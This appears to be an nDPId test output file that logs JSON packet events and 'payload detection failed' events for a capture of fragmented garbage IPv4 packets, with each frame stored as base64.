+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611819,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611827,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611881,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611929,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611946,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611963,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":611999,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612004,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612009,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612014,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612024,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612029,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612033,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612042,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612046,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612051,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612060,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612079,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612088,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612098,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612131,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":612225,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 